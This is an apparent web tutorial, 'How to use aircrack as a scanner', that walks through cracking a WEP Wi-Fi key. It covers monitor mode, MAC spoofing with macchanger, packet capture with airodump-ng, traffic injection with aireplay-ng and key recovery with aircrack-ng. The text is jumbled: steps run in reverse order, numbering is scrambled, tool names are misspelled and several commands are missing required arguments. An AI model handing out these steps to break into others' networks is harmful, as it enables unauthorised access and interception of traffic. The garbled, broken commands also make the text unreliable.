The interface can listen to every packet in the air. Process Overview To break WEP encryption the attacker follows these steps: Start the wireless interface in monitor mode on the specific AP channel In this step, the attacker sets the wireless interface to monitor mode.

Password should appear on screen, between brackets. Try to hack wireless key: aircrack-ng -b 00:11:22:33:44:55 If it does not work after some minutes, run the same command again. Decrypt packets Creates a file where all data is going to be dumped. airodump-ng -c 00 -w -bbsid XX:XX:XX:XX:XX wlanX Filename in this example is “wephack” Activate acket injection: aireplay-ng -1 0 -a -h wlanX Inject packet and generate traffic: aireplay-ng -3 -b -h wlanX 5. Dump wireless packets into a file Creates a file where all data is going to be. For this example, CH is 00 and BBSID is XX:XX:XX:XX 4.

Identify the system you want to hack and note the BBSID and the channel number (CH). Scan your wireless and identify a WEP access point Scan available access points (AP): sudo airodump -ng wlanXmon Press Ctrl+C to stop the scanner. Start monitor mode: sudo airmon-ng start wlanX 3. Put your wireless card in monitor mode Stop monitor mode: sudo airman-ng stop wlanX Disconnect wirelss card: sudo ifconfig wlanX down Change MAC address: sudo macchanger -mac 00:11:22:33:44:55 wlanX MAC address will be reestablish when you reboot your computer. Kill all processes that may conflict with the monitor mode by typing: sudo airmon-ng check kill Try to put your external wireless adapter in monitor mode by typing: airmon-ng start wlanX If you are not able to do so, probably you need to buy an external wireless adapter. In this tutorial, I assume card is wlanX (probably you will need to substitute X by a number).

You may run iwconfig twice, before and after plugging it, so you can identify easily which is the identifier for your external wireless adapter. In order to identify connected, type the following command: iwconfig If your wireless adapter is external, you need to plug it.

Ensure you have a wireless adapter compatible with monitor mode Open a terminal. Ensure aircrack-ng suite is installed in your computer Open a terminal and type: sudo apt-get update Install aircrack-ng suite: sudo apt-get install -y aircrack-ng Install macchanger: sudo apt-get install macchanger 2. This tutorial assumes that your operating system is Linux, in any of its variants (Kali Linux, Ubuntu, etc.) Step-by-step Procedure 1.

How to use aircrack as a scanner